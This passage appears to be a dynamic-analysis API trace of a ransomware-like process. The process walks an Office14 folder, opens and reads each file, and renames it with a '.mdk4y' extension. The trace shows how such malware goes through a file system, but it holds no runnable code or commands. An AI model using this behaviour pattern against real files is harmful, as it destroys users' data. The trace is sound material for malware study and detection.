MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll.mdk4y")) returned 1 [0201.633] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.633] AreFileApisANSI () returned 1 [0201.633] GetACP () returned 0x4e4 [0201.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.CSS", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.CSSLL.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 9 [0201.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827686400000) returned 1 [0201.635] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0201.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827686600000) returned 1 [0201.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827686600000) returned 1 [0201.636] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.css.mdk4y")) returned 1 [0201.638] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.638] AreFileApisANSI () returned 1 [0201.638] GetACP () returned 0x4e4 [0201.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.DEV.HXS", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.DEV.HXSDX_DLL", lpUsedDefaultChar=0x37df4c) returned 13 [0201.638] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.639] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827686900000) returned 1 [0201.639] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0201.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827700600000) returned 1 [0201.776] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827700600000) returned 1 [0201.850] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.mdk4y")) returned 1 [0201.852] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.852] AreFileApisANSI () returned 1 [0201.852] GetACP () returned 0x4e4 [0201.852] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.DEV_COL.HXC", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.DEV_COL.HXCLL", lpUsedDefaultChar=0x37df4c) returned 17 [0201.852] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827708300000) returned 1 [0201.853] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x281, lpOverlapped=0x0) returned 1 [0201.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827708400000) returned 1 [0201.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827708400000) returned 1 [0201.854] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.mdk4y")) returned 1 [0201.856] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.856] AreFileApisANSI () returned 1 [0201.856] GetACP () returned 0x4e4 [0201.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.DEV_COL.HXT", cchWideChar=17, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.DEV_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 17 [0201.856] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827708700000) returned 1 [0201.857] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd1, lpOverlapped=0x0) returned 1 [0201.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827708800000) returned 1 [0201.858] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827708800000) returned 1 [0201.858] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.mdk4y")) returned 1 [0201.859] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.859] AreFileApisANSI () returned 1 [0201.859] GetACP () returned 0x4e4 [0201.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.DEV_F_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.DEV_F_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 19 [0201.859] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.860] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827709000000) returned 1 [0201.861] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0201.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827709100000) returned 1 [0201.861] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827709100000) returned 1 [0201.862] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.mdk4y")) returned 1 [0201.863] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.863] AreFileApisANSI () returned 1 [0201.863] GetACP () returned 0x4e4 [0201.863] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.DEV_K_COL.HXK", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.DEV_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 19 [0201.863] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.864] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827709400000) returned 1 [0201.864] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0201.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827709500000) returned 1 [0201.865] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827709500000) returned 1 [0201.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.mdk4y")) returned 1 [0201.866] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.866] AreFileApisANSI () returned 1 [0201.866] GetACP () returned 0x4e4 [0201.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.HXS", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.HXS_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 9 [0201.866] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.867] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827709700000) returned 1 [0201.867] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0201.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827713700000) returned 1 [0201.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827713700000) returned 1 [0201.915] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.mdk4y")) returned 1 [0201.916] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.916] AreFileApisANSI () returned 1 [0201.916] GetACP () returned 0x4e4 [0201.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.SHAPESHEET.HXS", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.SHAPESHEET.HXS", lpUsedDefaultChar=0x37df4c) returned 20 [0201.917] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827714700000) returned 1 [0201.918] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd6cc6, lpOverlapped=0x0) returned 1 [0201.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827718100000) returned 1 [0201.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827718100000) returned 1 [0201.958] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.mdk4y")) returned 1 [0201.959] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0201.959] AreFileApisANSI () returned 1 [0201.959] GetACP () returned 0x4e4 [0201.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.SHAPESHEET_COL.HXC", cchWideChar=24, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.SHAPESHEET_COL.HXC", lpUsedDefaultChar=0x37df4c) returned 24 [0201.959] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0201.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827719000000) returned 1 [0201.960] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a4, lpOverlapped=0x0) returned 1 [0202.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827725100000) returned 1 [0202.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827725100000) returned 1 [0202.022] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxc.mdk4y")) returned 1 [0202.023] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.023] AreFileApisANSI () returned 1 [0202.023] GetACP () returned 0x4e4 [0202.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.SHAPESHEET_COL.HXT", cchWideChar=24, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.SHAPESHEET_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 24 [0202.023] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.024] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827725400000) returned 1 [0202.024] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd8, lpOverlapped=0x0) returned 1 [0202.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827725500000) returned 1 [0202.025] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827725500000) returned 1 [0202.025] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_col.hxt.mdk4y")) returned 1 [0202.026] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.026] AreFileApisANSI () returned 1 [0202.026] GetACP () returned 0x4e4 [0202.026] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.SHAPESHEET_F_COL.HXK", cchWideChar=26, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.SHAPESHEET_F_COL.HXKn", lpUsedDefaultChar=0x37df4c) returned 26 [0202.026] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827725700000) returned 1 [0202.027] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0202.027] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827725700000) returned 1 [0202.028] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827725800000) returned 1 [0202.028] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_f_col.hxk.mdk4y")) returned 1 [0202.029] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.029] AreFileApisANSI () returned 1 [0202.029] GetACP () returned 0x4e4 [0202.029] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO.SHAPESHEET_K_COL.HXK", cchWideChar=26, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO.SHAPESHEET_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 26 [0202.029] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827725900000) returned 1 [0202.030] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0202.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827726000000) returned 1 [0202.030] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827726000000) returned 1 [0202.031] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet_k_col.hxk.mdk4y")) returned 1 [0202.032] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.032] AreFileApisANSI () returned 1 [0202.032] GetACP () returned 0x4e4 [0202.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_COL.HXC", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_COL.HXCEET_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 13 [0202.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827726200000) returned 1 [0202.032] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26d, lpOverlapped=0x0) returned 1 [0202.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827726400000) returned 1 [0202.034] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827726400000) returned 1 [0202.034] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.mdk4y")) returned 1 [0202.035] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0202.035] AreFileApisANSI () returned 1 [0202.035] GetACP () returned 0x4e4 [0202.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIO_COL.HXT", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VISIO_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 13 [0202.035] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0202.036] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827726600000) returned 1 [0202.036] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd, lpOverlapped=0x0) returned 1 [0202.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827726700000) returned 1 [0202.037] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827726700000) returned 1 [0202.037] 